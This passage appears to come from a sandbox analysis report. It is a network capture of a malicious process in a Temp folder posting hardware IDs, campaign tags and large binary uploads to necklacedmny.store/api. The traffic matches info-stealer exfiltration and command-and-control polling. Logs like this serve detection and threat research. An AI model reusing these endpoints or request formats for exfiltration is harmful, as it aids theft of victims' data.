cfL4;desc="?proto=TCP&rtt=1791&sent=8&recv=14&lost=0&retrans=0&sent_bytes=2845&recv_bytes=9730&delivery_rate=1581649&cwnd=249&unsent_bytes=0&cid=a290db3fe9440ae2&ts=470&x=0"
2024-10-30 11:36:58 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:36:58 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49754	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:00 UTC	284	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20442 Host: necklacedmny.store
2024-10-30 11:37:00 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"3--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:00 UTC	5111	OUT	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 60 93 1b 88 82 85 4d 3f 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 72 83 51 b0 b0 e9 a7 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 4d 6e 20 0a 16 36 fd 34 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b0 c9 0d 46 c1 c2 a6 9f 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 36 b9 81 28 58 d8 f4 d3 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 c0 26 37 18 05 0b 9b 7e 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 d8 e4 06 a2 60 Data Ascii: `M?lrQMn 64F6(X&7~`
2024-10-30 11:37:00 UTC	1021	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=hq6u5m452k2v5q09ilko729ch9; expires=Sun, 23 Feb 2025 05:23:39 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=rxQqykixJtFBy13gsrjAT7X32o9cm2ie57yf5s4AgsShxk%2ForIoi%2FhBKkKh3F2cMDLBfUh1etd%2BVcF8w3dV3Dn1gSpEXfEKi%2B%2BSkE9HjaQOygUoH82nQIiDDpSfuG3buPDdqFZI%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c60abd94864-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1127&sent=12&recv=27&lost=0&retrans=0&sent_bytes=2844&recv_bytes=21406&delivery_rate=2282111&cwnd=249&unsent_bytes=0&cid=cfb2f8c06519e089&ts=657&x=0"
2024-10-30 11:37:00 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:00 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	49764	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:02 UTC	283	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1266 Host: necklacedmny.store
2024-10-30 11:37:02 UTC	1266	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:03 UTC	1014	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1uj9e0s7d3bcfrvs5l9bnjf7pt; expires=Sun, 23 Feb 2025 05:23:41 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=P29UJT3ZIPUWgLkCJxvS833w3dE4EmeBYY%2B%2BESxD5MXaLSHHNzwQd%2BGDNv2VHSGfeEIVl3PBLcjpDvdDONnP0qgH7RM6wEgom9ys8Wn3QYKAnBVQZWFOYAMHWwIclBKbCrPpvVg%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c6faa996ba3-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1131&sent=5&recv=8&lost=0&retrans=0&sent_bytes=2845&recv_bytes=2185&delivery_rate=2462585&cwnd=247&unsent_bytes=0&cid=5929ddb0aa8b46cc&ts=480&x=0"
2024-10-30 11:37:03 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 37 33 2e 32 35 34 2e 32 35 30 2e 37 38 0d 0a Data Ascii: 11ok 173.254.250.78
2024-10-30 11:37:03 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	49770	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:04 UTC	285	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=be85de5ipdocierre1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 566945 Host: necklacedmny.store
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 62 65 38 35 64 65 35 69 70 64 6f 63 69 65 72 72 65 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e Data Ascii: --be85de5ipdocierre1Content-Disposition: form-data; name="hwid"DC1F5181D4D2DDE64E576911C145B3A8--be85de5ipdocierre1Content-Disposition: form-data; name="pid"1--be85de5ipdocierre1Content-Disposition: form-data; name="lid"4SD0y4--legen
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: df 45 01 61 d0 60 d2 cd af eb 7b ec d3 7b a1 9d d3 89 4a e2 e5 c0 7c 80 ee 8e 84 05 d1 7e ce c2 28 c6 d7 d9 c7 e3 4f c3 0f 15 f5 bc ec f2 fd d5 57 ec 3e d3 11 5f 81 01 29 e6 04 c0 b7 c1 b3 98 87 df d8 79 94 6f 36 e2 f0 37 58 9c 71 f9 ff 8c 00 f2 90 0a 3c f2 db 10 dc 0f e2 0c a9 b9 7e 80 99 cb 07 4e c3 01 91 21 38 ee 51 d9 5a 07 bf 99 fd 98 0d c5 90 95 62 5e 94 2f 7d 76 2d e5 77 de 54 cb 08 04 ed e5 db 73 d6 fa 40 6b db 25 ef e7 71 5e cf ab 45 3c 3d 70 84 36 f1 e6 68 8d 06 2e c7 bd 26 59 2d ff f2 0f fc 40 98 24 ba f5 3e 85 b9 c8 9e f9 f2 d7 b6 76 2c a5 3c 4e c1 3c ef 1b ee 8c 66 7a a3 8f 32 e8 7c 42 0f 7c af 5c ab 24 12 c6 36 73 de 5d 1a b4 6a da c9 ef 41 53 4e 86 98 a4 2c 5f 6d 5f fc 5b 0c 47 24 a8 de 44 2c 4c 48 dc d6 8c 1e 35 95 cb ea 0f 43 e4 4d 2e 5f Data Ascii: Ea`{{J\|~(OW>_)yo67Xq<~N!8QZb^/}v-wTs@k%q^E<=p6h.&Y-@$>v,<N<fz2\|B\|\$6s]jASN,_m_[G$D,LH5CM._
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: f0 fc 90 30 18 5a b1 df d6 22 00 f2 7a f0 fc b7 c7 83 7d 9a 77 de de dd 2d 7b 68 59 4a c9 ad ee aa 2a 77 8f 7e 56 3c 2e a3 e9 b2 69 fc 51 1b 1b 78 b9 b0 3b 38 09 1f ec 25 5a ee f0 95 5e ff d5 ff fa 5b 9b 2a f7 88 9a 9a 42 49 30 54 1c 62 0a 31 66 73 f1 60 db 8e 7f b5 58 6a 5d 04 62 90 fe 3b 72 7d fe 25 48 9a f9 ef 10 eb dc 6c 0d 6f 40 23 21 01 c4 29 f2 ff 35 68 5a aa bf 4f d4 04 22 e0 30 86 77 72 cf ee 3e 20 bd 9f a6 8a c0 f1 f5 eb fb 64 1b 65 92 a1 ea d5 9d 75 fd 72 95 52 60 b1 f1 06 e4 2b fa 2c fd b8 9a 68 fb 47 f4 95 ec fb bc 3d 7f 01 45 30 ae 9e f0 f3 f8 9f b6 82 c8 3a e4 40 8b b7 fe 20 48 c1 65 c6 f8 f4 28 44 0b 47 07 c0 c7 16 54 8a 38 f2 eb ba 1a 9e b8 ab 06 4c c2 6e c2 03 4e 10 11 7c 98 8a 78 4d 2a d0 f2 c8 dd db a0 b3 25 7f 8a 54 3c 5f bb 86 2f 35 Data Ascii: 0Z"z}w-{hYJw~V<.iQx;8%Z^[BI0Tb1fs`Xj]b;r}%Hlo@#!)5hZO"0wr> deurR`+,hG=E0:@ He(DGT8LnN\|xM*%T<_/5
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: ac f8 f3 f3 c2 ca c2 4a 75 eb ea c2 57 c6 5a 6d 6b 7a 33 21 8f d3 13 4c d4 3e ee d8 77 df a2 5f a2 99 20 10 bd fb 3f 1f bc 97 65 7f ae 6c ff 58 59 f1 b2 26 13 89 43 84 5b e8 db c7 c9 37 72 d3 00 5d 8d 48 a5 a1 c9 fc 28 5e 25 e0 81 c5 ae 1f d3 b0 54 c1 3b e5 98 60 c1 53 28 1c 71 80 6b 78 70 10 e7 51 a2 f2 62 96 fd d0 e4 23 0f ec 3c f9 f6 cd eb 3f 74 dd 2c e7 87 d0 23 9d 17 e7 00 f1 0a 44 54 18 ca 47 01 d7 b6 82 27 4f e0 52 50 af ff df a9 b5 36 17 ac d5 db f7 eb 0d da 76 e1 fa f5 58 e4 9d d9 6a 5f 5e b3 e2 53 6e d5 5e 18 2f de 15 f9 85 e2 2c 51 3f 4b af 86 80 44 1c e4 36 b9 77 dd 8a 27 40 1e 38 7f 9f 23 45 d4 e0 86 e2 4a 51 bb f2 76 e9 61 bf 4b 08 bc 46 d3 3b 05 c8 ba 2c f5 15 21 8b 5a 52 aa 28 4e 04 bc 11 55 b7 04 99 0d 21 ae 80 30 54 30 37 2c 27 36 52 ad Data Ascii: JuWZmkz3!L>w_ ?elXY&C[7r]H(^%T;`S(qkxpQb#<?t,#DTG'ORP6vXj_^Sn^/,Q?KD6w'@8#EJQvaKF;,!ZR(NU!0T07,'6R
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: 63 e1 b6 c4 38 2e e7 88 f5 3d f0 cc d6 73 31 4c ef 6d 84 a7 97 42 dd f9 27 5f 58 93 74 39 38 16 58 04 dc 89 f4 12 0d 4d 6e 52 66 32 62 1a 59 25 0f 5c e6 cb 2f 3d 90 e0 14 82 fa 47 30 11 df 3c 22 84 32 ae e0 00 0e 81 67 af 04 66 f5 b9 15 81 40 68 23 b4 90 e1 0f 83 fa a1 91 91 81 70 98 df ba 46 2f 3f c3 a2 a9 31 90 6e 4e fb 7d 82 6c 7a f4 78 78 46 84 76 05 57 c5 1b a1 b0 fa 56 c9 9a 6c 15 70 66 52 1e 22 ba f1 2d 0f 20 f1 88 40 e9 5b be 26 fe 1a 86 6d 91 9a 6b 95 3e 37 49 13 cd 07 24 85 27 9c 8c f5 b9 53 98 33 93 17 f7 af e7 0e a9 63 86 03 1f 0d 0e 07 1f 5b 50 ee 2e 62 b4 6a 8b d9 69 4b 35 2f 04 33 ae 1d 27 8b ad bf d6 b4 1d 96 6f 5d 94 b4 af 0f d3 10 6d 2b e7 84 71 53 04 05 46 82 30 20 18 03 63 6c 83 fe 5d 02 f4 91 05 23 31 60 1b 4d ab 3a 57 ec 14 83 09 47 Data Ascii: c8.=s1LmB'_Xt98XMnRf2bY%\/=G0<"2gf@h#pF/?1nN}lzxxFvWVlpfR"- @[&mk>7I$'S3c[P.bjiK5/3'o]m+qSF0 cl]#1`M:WG
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: 48 83 b1 23 ae a1 b4 9f e0 25 78 c8 8b db 6b e2 98 2a fd 98 85 e0 da 7f db 16 bb 02 2a b9 36 eb 51 2f 2d 02 25 c7 e2 2e 83 ab a3 89 a8 56 d2 c5 d3 93 59 1a 78 68 2e 66 dc 3a b7 2e 82 e7 12 96 c2 d6 ba 40 37 87 90 f0 8c e4 c7 57 e2 7d 91 54 03 04 d6 48 c5 af 5b 86 cc af 2e eb 16 8c 21 25 10 a1 da cf 27 40 0c f7 74 41 26 e9 3c 8c 7c be 0b 07 bb 3c aa 07 cc 54 7c 64 79 bb c9 41 d2 39 c0 7e 3f 5b 9c b5 04 52 db 28 15 6b 81 b3 e0 34 98 72 57 14 03 9a 57 4c a9 3b 60 63 50 2b b3 72 e0 81 f2 dd cd 01 5d 0c 11 55 a1 26 e3 9e d7 8b 30 d9 94 31 d6 ad b2 b3 40 fe 0f 0a 98 93 36 ad 69 23 05 ed bb 8e f0 a0 cd 41 09 95 10 6d c2 d0 1c 07 0c e3 e1 16 24 b0 7c 04 77 89 82 dd 65 cb c2 f4 76 e3 5e 71 50 b6 79 7b 6f 00 0a 68 b0 9f 68 22 2a 0b b5 8a 08 d1 73 3a 25 19 50 df c1 Data Ascii: H#%xk*6Q/-%.VYxh.f:.@7W}TH[.!%'@tA&<\|<T\|dyA9~?[R(k4rWWL;`cP+r]U&01@6i#Am$\|wev^qPy{ohh"s:%P
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: 37 d3 11 35 64 68 66 12 b0 31 7a 5b 46 eb bf 8e f6 36 e0 bf 4d 79 a7 f9 11 77 fc 98 6c d1 a1 b7 d2 c0 37 bd da 12 b6 24 b5 1e 10 e4 78 21 0a 7e 2e 8e 96 83 aa 35 7a 9b 25 15 b7 33 bd 69 b1 45 16 7e 34 e1 02 53 da b0 4d 11 dc 41 49 70 68 ee 21 20 dd 9c 9a b6 7b fa d6 e5 ba e3 8a 32 e5 8d ba 1a a0 9b 27 08 bf f3 18 3d 8d a6 bf dd 18 b5 cc ed ef 1d e3 ff 6e 0b 7d 51 27 5c e7 0c 91 19 59 01 fc f7 cc 0d fb 91 a4 45 7e be 8f 30 7d de 3a 7c 4f c1 10 f7 2f 1c ef b8 2e 60 c7 28 23 7e 42 7c aa 57 90 6d 0b d8 df 65 89 40 a3 23 77 0f 89 9f 71 98 2b cd ea 52 43 d5 50 5a a0 3e 79 70 e8 23 2e e9 a0 97 a1 76 8f 62 9f 63 d9 8e d0 33 b2 a4 be 09 5c 7a 9d 6e e7 57 ce 50 f9 c1 48 a4 e5 18 a6 ea 01 e9 39 eb a7 d5 95 06 d2 34 2e 7f bb c6 f0 08 92 49 a2 b0 c2 3d 10 da 4d 54 08 Data Ascii: 75dhf1z[F6Mywl7$x!~.5z%3iE~4SMAIph! {2'=n}Q'\YE~0}:\|O/.`(#~B\|Wme@#wq+RCPZ>yp#.vbc3\znWPH94.I=MT
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: ba 56 fd 7b 7e 73 a4 ef c3 fd 0d 85 5f a0 e8 c6 aa 91 50 b7 94 e3 2d 7a 86 c1 4c fa 4c 1d 94 82 54 66 98 2b 2e b5 5f d0 d3 57 51 54 b9 af fc 0c 69 83 ec 33 18 8e 91 d1 ed 3f 11 46 af 75 7d 64 b6 93 41 14 00 e5 a5 e3 e5 e5 06 5e 71 00 1f bc a0 5d 1f 2e ed e8 c7 99 ca b8 0c 08 fd 7e c1 e9 6e c6 9f 75 db eb da 8d 8a d7 33 54 b8 32 e7 48 fa 5b f6 96 8b 5a 57 69 dc e0 0f c1 a2 5b ad 5c be 73 6c ed 98 39 24 25 b3 52 65 d3 9e 9d 3e 69 eb 7d 15 e8 d3 d2 8f 66 b4 86 e6 d3 d4 b9 09 c1 bb d2 a7 6c e0 38 f8 6f 4a ff b7 9e c1 9b 86 80 50 00 f5 e0 25 8d 6d 38 c2 c1 ce df d6 c6 3f d0 b3 83 36 5e 17 04 6d 8d 9d e4 54 31 0f ee 20 1f cb ef 62 73 7a 8d 05 62 94 32 07 df cb 01 ad 23 b4 eb 9f d3 72 15 5b 6e 07 68 3f 0e ff 7c c7 f8 96 16 98 2e 89 6a 40 54 7a 9f 38 12 84 89 b2 Data Ascii: V{~s_P-zLLTf+._WQTi3?Fu}dA^q].~nu3T2H[ZWi[\sl9$%Re>i}fl8oJP%m8?6^mT1 bszb2#r[nh?\|.j@Tz8
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: da 10 2b aa c9 a7 8e da d3 72 28 49 07 63 7b e6 c0 0d 9b 31 44 a7 bb a6 0a 1d 87 92 61 9d 5b 4b 46 c0 17 56 b3 00 7e de 52 81 a6 aa 8b 80 d8 67 7d 01 4f 45 94 ba 54 20 34 f6 bc 63 d5 cb e2 0e 1b c2 f5 2d c4 3d 07 b9 63 be a0 5e 9d d1 b7 10 b3 1e 06 d3 e0 d0 0b 8b e1 2a 7d f0 61 d9 96 09 2a 15 3b eb 4f 43 85 e1 20 49 d4 f9 d5 4a 9d 23 61 32 5b a3 81 65 03 dc 1a dd 91 44 42 47 1b e2 52 6f a1 1f df 45 21 90 d4 66 d2 78 7b dd d8 a9 29 30 55 66 4f 31 ca ec 9e 85 f0 86 c4 ea 5e e9 77 05 44 2f 51 61 2d ab be b0 a8 b0 49 dc 3b f3 36 cc 11 37 ad 2b 98 f3 50 ec e2 15 97 08 63 5e 95 7e 37 4b 2f d3 d1 5c 82 3f b7 1f 46 78 4c 27 c7 33 ba eb 37 6b f7 4e f0 1c bb 62 2a 8c 0a a5 ae cf 0c d1 77 c3 4a b3 bc 3a a5 d8 b2 f4 69 37 ed 0c 80 a3 c2 cc d6 bc e1 eb 7a 13 d9 01 f1 Data Ascii: +r(Ic{1Da[KFV~Rg}OET 4c-=c^}a;OC IJ#a2[eDBGRoE!fx{)0UfO1^wD/Qa-I;67+Pc^~7K/\?FxL'37kNb*wJ:i7z
2024-10-30 11:37:04 UTC	15331	OUT	Data Raw: b9 c8 2e 76 e8 59 88 3b 0d 9b ce 82 ec c6 5a eb df f5 6e 4c 11 96 ca 56 fe df 85 8e d7 bb be 91 a8 f5 57 73 eb ed f9 80 8e 68 c1 37 c6 cb 83 23 72 e0 9d 8c 1e 12 3c ed 13 4d 37 0f f9 b1 dd b2 3f d9 e4 ea d6 8f 67 c2 1a e0 e4 ba 9d 3a ff 67 80 e3 6a 25 2c 11 57 c8 0b 74 d6 6e 7b dd ba eb 7c 94 fa 03 89 f6 ab bd f5 2e 49 0e fc 96 3b a5 8b 7b 5e 27 0e e1 b8 2a 01 55 d2 37 3f aa 24 bc c5 10 6d 6b 50 d8 41 e5 dd e8 63 7b 8d 60 47 48 b6 0a 1c ae bf 9e 16 e6 a6 d2 b8 db 84 f7 f4 e8 bb 4e 7c 5e d4 50 cc fc 55 b3 b4 0e f1 5b 44 a1 cf 0e d4 ae e4 d0 81 3b 72 1b f6 d7 d6 3e 8a e0 b9 2f e8 a2 34 8c e1 21 41 25 c5 04 cb 6c c1 d7 47 b5 3e 45 bf d9 64 1f 29 f6 80 b2 9d bc d4 a5 bd a8 14 17 ec dc 78 b1 f0 5d e7 e6 48 5e 16 86 e3 66 26 3d 8d 81 70 73 ae cd d8 f1 b5 b7 35 Data Ascii: .vY;ZnLVWsh7#r<M7?g:gj%,Wtn{\|.I;{^'*U7?$mkPAc{`GHN\|^PU[D;r>/4!A%lG>Ed)x]H^f&=ps5
2024-10-30 11:37:06 UTC	1025	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=1o6rkrtmb32l47n659vjht7js9; expires=Sun, 23 Feb 2025 05:23:45 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=jA4NSoUlHu%2BaigI25rdg9Z%2BZpd%2BKtYwFd863CDO94on0SfjBH%2BQxj31J15eT2aAIqdGt121TAu6bOgIdzibVDs1kvJgj4KjbjzsDD%2FEqvaYgeCvTXU3WxBqb0HHBZV8iFzatDB0%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c7bb816e524-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1107&sent=229&recv=603&lost=0&retrans=0&sent_bytes=2845&recv_bytes=569472&delivery_rate=2620814&cwnd=252&unsent_bytes=0&cid=e74075fd0e34bd6d&ts=1992&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	49788	188.114.97.3	443	3352	C:\Users\user\AppData\Local\Temp\1002605001\7f3598dc65.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-30 11:37:06 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 87 Host: necklacedmny.store
2024-10-30 11:37:06 UTC	87	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 34 53 44 30 79 34 2d 2d 6c 65 67 65 6e 64 61 72 79 79 26 6a 3d 26 68 77 69 64 3d 44 43 31 46 35 31 38 31 44 34 44 32 44 44 45 36 34 45 35 37 36 39 31 31 43 31 34 35 42 33 41 38 Data Ascii: act=get_message&ver=4.0&lid=4SD0y4--legendaryy&j=&hwid=DC1F5181D4D2DDE64E576911C145B3A8
2024-10-30 11:37:07 UTC	1011	IN	HTTP/1.1 200 OK Date: Wed, 30 Oct 2024 11:37:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=u5t3i06u5c51gi5igmqvm5jej0; expires=Sun, 23 Feb 2025 05:23:46 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=7mILWliHVGd9cG0PZFviM43qDMYuHOas389euAhigfXygkLfAHYQ15E6qN7iTmfeDb13hJwuidBEHXvTBXUUV0NyUtkwBUqZjma6E3TSFjGHgYCnNgPOlx%2FS9feThcYiTRt%2ByMc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8dab1c8ad9db6c16-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1060&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2846&recv_bytes=989&delivery_rate=2618444&cwnd=251&unsent_bytes=0&cid=53375eeb81e0cf71&ts=502&x=0"
2024-10-30 11:37:07 UTC	214	IN	Data Raw: 64 30 0d 0a 67 56 42 31 2f 2b 6b 4c 2f 53 6f 66 77 55 35 78 73 36 64 2b 68 35 79 4e 30 7a 52 6a 51 34 73 72 30 41 4e 72 41 52 52 42 58 67 2f 61 4b 31 65 4b 79 7a 48 66 51 6d 75 31 50 6b 76 76 69 43 4b 6f 72 62 58 6d 47 6c 46 79 76 67 58 68 4d 6c 67 76 4a 58 63 43 49 4f 34 32 45 36 50 47 62 35 68 4d 4d 61 51 32 46 4a 47 4c 58 4f 48 6f 72 2b 6b 45 54 32 48 75 43 65 6f 7a 46 69 31 76 59 79 73 74 75 33 49 64 69 35 31 37 78 33 59 77 6e 57 46 41 69 35 4a 51 74 61 32 34 2f 51 56 53 63 4b 55 61 35 6c 39 45 62 48 30 76 4f 31 4f 75 49 68 53 52 6a 57 53 51 42 48 71 35 4b 31 4f 66 68 52 6a 7a 76 72 66 6a 47 45 45 6d 71 52 48 67 66 6a 59 3d 0d 0a Data Ascii: 